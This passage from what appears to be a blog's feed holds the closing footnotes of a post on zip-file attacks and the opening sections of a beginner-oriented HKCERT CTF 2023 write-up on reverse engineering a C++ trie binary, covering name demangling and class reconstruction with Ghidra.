&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;This is the same compression algorithm used in gzip (commonly used for transferring files across the web) and PNGs. &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn5&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Fifield&#39;s article on &amp;quot;a better zip bomb&amp;quot;: &lt;em&gt;https://www.bamsoftware.com/hacks/zipbomb/&lt;/em&gt;. (It may be blocked on some browsers.) &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref5&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn6&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Reference: &lt;a href=&quot;https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT&quot;&gt;PKWare Mirror&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref6&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn7&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Canonical path means no &lt;code&gt;./&lt;/code&gt;, no &lt;code&gt;../&lt;/code&gt;, no &lt;code&gt;~/&lt;/code&gt;, no symlinks. Just a directory built directly from &lt;code&gt;/&lt;/code&gt;. &lt;a href=&quot;https://trebledj.me/posts/attack-of-the-zip/#fnref7&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>infosec</category>
        
          <category>notes</category>
        
          <category>web</category>
        
          <category>python</category>
        
          <category>programming</category>
        
          <category>tutorial</category>
        
          <category>ctf</category>
        
          <category>linux</category>
        
          <category>windows</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>HKCERT CTF 2023 – Decompetition: Vitamin C++</title>
        <description>A beginner-friendly writeup to reverse-engineering C++ a lá decompetition. Years of complex shenanigans condensed!</description>
        <link href="https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/"/>
        <updated>2023-11-16T00:00:00Z</updated>
        <id>https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/</id>
        <content xml:lang="en" type="html">&lt;p&gt;Oh boy, another C++ reverse challenge. :rubs_hands_in_delight:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Decompetition: Vitamin C++&lt;/em&gt; is a reverse engineering challenge in this year&#39;s HKCERT CTF, an annual online capture-the-flag competition hosted in Hong Kong. The format is slightly different from usual rev chals in that we’re required to &lt;em&gt;derive the source code&lt;/em&gt; of a binary. This really tests our understanding of how the language is compiled into machine code.&lt;/p&gt;
&lt;p&gt;So whether you’re a first-timer or a veteran at reversing C++, this is a fun(?) way to dive deep into or review neat aspects of the language.&lt;/p&gt;
&lt;p&gt;If you want to follow along, you can grab the challenge here: &lt;a href=&quot;https://github.com/blackb6a/hkcert-ctf-2023-challenges/tree/master/57-decomp-cpp&quot;&gt;GitHub&lt;/a&gt; (&lt;a href=&quot;https://github.com/TrebledJ/ctf-binaries/tree/main/hkcert-2023/decompetition-vitamin-cpp&quot;&gt;Backup&lt;/a&gt;). I’ll also be relying on &lt;a href=&quot;https://ghidra-sre.org/&quot;&gt;Ghidra&lt;/a&gt; as my decompiler, because I &lt;s&gt;am poor&lt;/s&gt; want to support open-source.&lt;/p&gt;
&lt;h2 id=&quot;description&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#description&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Description&lt;/h2&gt;
&lt;p&gt;Author: &lt;a href=&quot;https://twitter.com/harrier_lcc&quot;&gt;harrier&lt;/a&gt;&lt;br /&gt;
4/5 stars ⭐️. 5/311 solves.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;So let&#39;s learn reverse with Decompetition!&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; The goal is simple: try to recover the original source code as much as possible, while understand the code logic deeply to get the internal flag! Only with two of those together, you will win this flag.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://en.cppreference.com/w/cpp&quot;&gt;STL&lt;/a&gt; is used everywhere, so it would be nice to be able to reverse them!&lt;/p&gt;
&lt;p&gt;Note there is an internal flag with flag format &lt;code&gt;internal{}&lt;/code&gt;. Please do not submit this directly to the platform.&lt;/p&gt;
&lt;p&gt;g++ version: g++ (Debian 12.2.0-14) 12.2.0&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;token function&quot;&gt;nc&lt;/span&gt; chal.hkcert23.pwnable.hk &lt;span class=&quot;token number&quot;&gt;28157&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;And a note on testing:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you want to run this locally, you can install all the prerequisite library with &lt;code&gt;pip&lt;/code&gt;, and run &lt;code&gt;python compiler trie.disasm&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-sh&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;pip &lt;span class=&quot;token function&quot;&gt;install&lt;/span&gt; pyyaml capstone intervaltree pyelftools diff_match_patch&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;Thus, to get the flag, we need to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Obtain the source code (97.5% similarity).&lt;/li&gt;
&lt;li&gt;Obtain the internal flag by reversing the source code.&lt;/li&gt;
&lt;li&gt;Submit the internal flag (not to the platform, but to the remote connection).&lt;/li&gt;
&lt;li&gt;Profit!&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;(You can see this process play out in compiler.py.)&lt;/p&gt;
&lt;p&gt;The first step is the most challenging. Even if we have a decent understanding of the program, we still need the source code to continue.&lt;/p&gt;
&lt;p&gt;Let’s start by analysing what we’re given and how we can approach the problem. We&#39;ll aim for 100% similarity, but go step by step.&lt;/p&gt;
&lt;h2 id=&quot;analysis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#analysis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Analysis&lt;/h2&gt;
&lt;p&gt;Unzipping our bag of goodies, we’re given:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;compiler.py&lt;/strong&gt;. This is the backend doing all the compilation and diffing.
&lt;ul&gt;
&lt;li&gt;Only &lt;code&gt;TrieNode&lt;/code&gt; methods, &lt;code&gt;wordhash&lt;/code&gt;, and &lt;code&gt;main&lt;/code&gt; are diffed.&lt;/li&gt;
&lt;li&gt;Prior to compiling, our code is prefixed with some boilerplate (includes of &lt;code&gt;unordered_map&lt;/code&gt;, &lt;code&gt;string&lt;/code&gt;, and &lt;code&gt;iostream&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;build.sh&lt;/strong&gt;. Checks our code against bad patterns, and compiles the program.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;trie&lt;/strong&gt;. This is the binary file of our target source code. Open this in your favourite decompiler.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;trie.disasm&lt;/strong&gt;. This is the disassembly used by compiler.py for diffing.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;flag.txt&lt;/strong&gt;. Read and printed by compiler.py after submitting the internal flag.&lt;/li&gt;
&lt;li&gt;A bunch of other Python files to make things work.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Is there a way we can simplify the process?&lt;/p&gt;
&lt;p&gt;Inline assembly with &lt;code&gt;asm&lt;/code&gt;, &lt;code&gt;attribute&lt;/code&gt; trickery, and macros are disallowed.&lt;/p&gt;
&lt;p&gt;A quick Google search for TrieNodes resulted in disappointment. The &lt;code&gt;mix()&lt;/code&gt; function is especially unique, as tries generally just do insert/search. So we can probably conclude: the implementation was either hand-spun or modified substantially.&lt;/p&gt;
&lt;p&gt;It appears the most productive approach is to tackle the problem head on.&lt;/p&gt;
&lt;p&gt;But hey, it’s just a simple lil’ trie, not a friggin standard template container or Boost/Qt library. We can do this!&lt;/p&gt;
&lt;h2 id=&quot;trie-me&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#trie-me&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Trie Me&lt;/h2&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;If you never trie, you will never know.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/there-is-no-trie-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-45&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/there-is-no-trie-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 575&quot; alt=&quot;Do or do not, there is no trie!&quot; title=&quot;If you never trie, you will never know.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/there-is-no-trie-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert23/assets/there-is-no-trie-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Let’s briefly review tries. What is a trie?&lt;/p&gt;
&lt;p&gt;Tries, or prefix trees, are data structures commonly used to efficiently store and retrieve strings. They are particularly useful for tasks like autocomplete or spell checking. The key idea behind tries is that each node in the tree represents a &lt;em&gt;prefix of a string&lt;/em&gt;, and the edges represent the &lt;em&gt;characters&lt;/em&gt; that can follow that prefix.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;A trie containing the words: *and*, *ant*, *dad*, and *do*.&quot; href=&quot;https://trebledj.me/img/Trie-1-1920w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60 alpha-img&quot; src=&quot;https://trebledj.me/img/Trie-1-1920w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1920 / 1080&quot; alt=&quot;A trie containing the words: *and*, *ant*, *dad*, and *do*.&quot; title=&quot;A trie containing the words: *and*, *ant*, *dad*, and *do*.&quot; srcset=&quot;https://trebledj.me/img/Trie-1-256w.webp 256w, https://trebledj.me/img/Trie-1-512w.webp 512w, https://trebledj.me/img/Trie-1-1024w.webp 1024w, https://trebledj.me/img/Trie-1-1920w.webp 1920w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1920px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Example of trie containing the words &lt;em&gt;and&lt;/em&gt;, &lt;em&gt;ant&lt;/em&gt;, &lt;em&gt;dad&lt;/em&gt;, and &lt;em&gt;do&lt;/em&gt;. Each edge represents a letter to the next prefix. (&lt;a href=&quot;https://www.boardinfinity.com/blog/trie-data-structure/&quot;&gt;Source&lt;/a&gt;)&lt;/sup&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In terms of matching an exact string, the complexity is similar to a hashmap: &lt;code&gt;O(n)&lt;/code&gt; insert/search time, w.r.t. the length of the string. But a hashmap is typically faster as it requires fewer operations.&lt;/li&gt;
&lt;li&gt;The power of tries comes with alphabetical ordering and prefix search (which is why they’re useful for autocomplete). Hashmaps can&#39;t do this.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;setting-up-the-structure&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#setting-up-the-structure&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Setting Up the Structure&lt;/h2&gt;
&lt;h3 id=&quot;demangling-names&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#demangling-names&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Demangling Names&lt;/h3&gt;
&lt;p&gt;Let’s start by demangling functions! This way, we’ll roughly know its name and signature—big clues, from a &lt;a class=&quot;jtag&quot; href=&quot;https://trebledj.me/tags/functional/&quot;&gt;functional&lt;/a&gt; viewpoint.&lt;/p&gt;
&lt;p&gt;In C++, function and class names are &lt;em&gt;&lt;strong&gt;mangled&lt;/strong&gt;&lt;/em&gt;. So instead of using sensible names like &lt;code&gt;TrieNode::mix&lt;/code&gt;, &lt;code&gt;std::string::substr&lt;/code&gt;, and &lt;code&gt;std::endl&lt;/code&gt;, the compiler stores hellish sequences like
&lt;code&gt;_ZN8TrieNode3mixEc&lt;/code&gt;, &lt;code&gt;_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6substrEmm&lt;/code&gt;, and &lt;code&gt;_ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_&lt;/code&gt;. (Yes, &lt;code&gt;endl&lt;/code&gt; is a function.)&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;Why do C++ compilers behave this way?&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;This has to do with function overloading. For example:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;float&lt;/span&gt; f&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;C++ function overloading in action. Same name. Different parameters.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;With function overloading, names are reused. Now if the names are the same, how can the linker find and call the right function? The compiler solves this by encoding a function’s signature into its name, so that all names are unique. (We don&#39;t have this problem in plain old C, because function overloading isn’t even a concept!)&lt;/p&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;To demangle these cryptic monstrosities, we can throw them into online tools (e.g. demangler.com&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;) or just use a C++-enabled decompiler (e.g. Ghidra) which automatically demangles names.&lt;/p&gt;
&lt;h3 id=&quot;classy-types&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#classy-types&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Classy Types&lt;/h3&gt;
&lt;p&gt;When discussing C++, it’s hard to avoid the topic of classes. These supercharged C-structs are the basis of any object-oriented program.&lt;/p&gt;
&lt;p&gt;Looking at the demangled function names, we can identify the &lt;code&gt;TrieNode&lt;/code&gt; class. What next?&lt;/p&gt;
&lt;p&gt;There are two parts to reversing a class:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Methods/functions. How does the class behave? What does it do?
&lt;ul&gt;
&lt;li&gt;These are easy to find due to the prefix (e.g. &lt;code&gt;TrieNode::&lt;/code&gt;). Reversing their content is a different question, which we&#39;ll address in upcoming sections.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Members. What comprises a class? What is its state?
&lt;ul&gt;
&lt;li&gt;This is a tricky question to answer, as variable names are usually stripped. Careful analysis of reads/writes is required (&lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;cross references&quot;&gt;xrefs&lt;/abbr&gt; are useful!).
&lt;ul&gt;
&lt;li&gt;Is it set to only 0 or 1? And used in conditions? Probably a boolean.&lt;/li&gt;
&lt;li&gt;Is it compared to other numbers a lot and used near loops? Probably an integer representing size.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;By peeking at the &lt;code&gt;TrieNode&lt;/code&gt; constructor, we figure out that &lt;code&gt;TrieNode&lt;/code&gt; has three members.
&lt;ol&gt;
&lt;li&gt;An &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;std::unordered_map&lt;char, TrieNode*&gt;&quot;&gt;unordered map (aka hashmap) from chars to nodes&lt;/abbr&gt;. Size: 0x38 bytes. As this resembles the edges of the node, we&#39;ll call variable this &lt;code&gt;next_node&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A bool. Size: 1 byte.&lt;/li&gt;
&lt;li&gt;Another bool. Size: 1 byte.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Overall, our structure should resemble:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;namespace&lt;/span&gt; std&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// FYI, this is discouraged in actual software engineering: https://stackoverflow.com/q/1452721/10239789.&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;wordhash&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// return type: ???&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;TrieNode&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// Members.&lt;/span&gt;
	unordered_map&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; TrieNode&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; next_node&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;bool&lt;/span&gt; bool1&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;bool&lt;/span&gt; bool2&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;token comment&quot;&gt;// Constructor.&lt;/span&gt;
	&lt;span class=&quot;token comment&quot;&gt;// Initialise variables. `next_node`&#39;s constructor is called automatically.&lt;/span&gt;
	&lt;span class=&quot;token function&quot;&gt;TrieNode&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; bool1&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; bool2&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// Member Initialiser List: https://cplusplus.com/articles/1vbCpfjN/&lt;/span&gt;

	&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// return type: ???&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;string s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// return type: ???&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;mix&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; cmix&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// return type: ???&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Return types are unknown, because most compilers don&#39;t mangle them with the name. For now, they&#39;ve been substituted with &lt;code&gt;void&lt;/code&gt; and left as an exercise for the reader.&lt;/sup&gt;&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;On Struct vs. Class&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;Structs are public by default. Classes are private by default.&lt;/p&gt;
&lt;p&gt;Public/private are concepts which fall under &lt;abbr data-bs-placement=&quot;top&quot; data-bs-toggle=&quot;tooltip&quot; title=&quot;object-oriented programming&quot;&gt;OOP&lt;/abbr&gt; &lt;em&gt;&lt;strong&gt;encapsulation&lt;/strong&gt;&lt;/em&gt;. With encapsulation, we bundle data and only expose certain API methods for public users, whilst hiding implementation. With a cyber analogy, this is not unlike exposing certain ports (HTTP/HTTPS) on a machine, and protecting other ports with a firewall.&lt;/p&gt;
&lt;p&gt;I chose to use &lt;code&gt;struct&lt;/code&gt; here because I&#39;m lazy and want to make members public.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fn3&quot; id=&quot;fnref3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; Some of them are accessed directly in &lt;code&gt;main&lt;/code&gt; anyway.&lt;/p&gt;
&lt;p&gt;Read more:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/36917400/10239789&quot;&gt;StackOverflow: Struct vs. Class&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.softwaretestinghelp.com/encapsulation-in-cpp/&quot;&gt;Encapsulation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h2 id=&quot;reversing&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#reversing&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Reversing&lt;/h2&gt;
&lt;h3 id=&quot;plagiarise-a-decompiler&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#plagiarise-a-decompiler&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Plagiarise a Decompiler&lt;/h3&gt;
&lt;p&gt;Now that we have a basic structure set up, it&#39;s time to dig deeper. We need to go from binary to source code. Hmm… that sounds like a job for… a decompiler!&lt;/p&gt;
&lt;p&gt;So let’s start with that! We can &lt;s&gt;plagiarise&lt;/s&gt; copy output from Ghidra and rewrite it to make programmatic sense.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
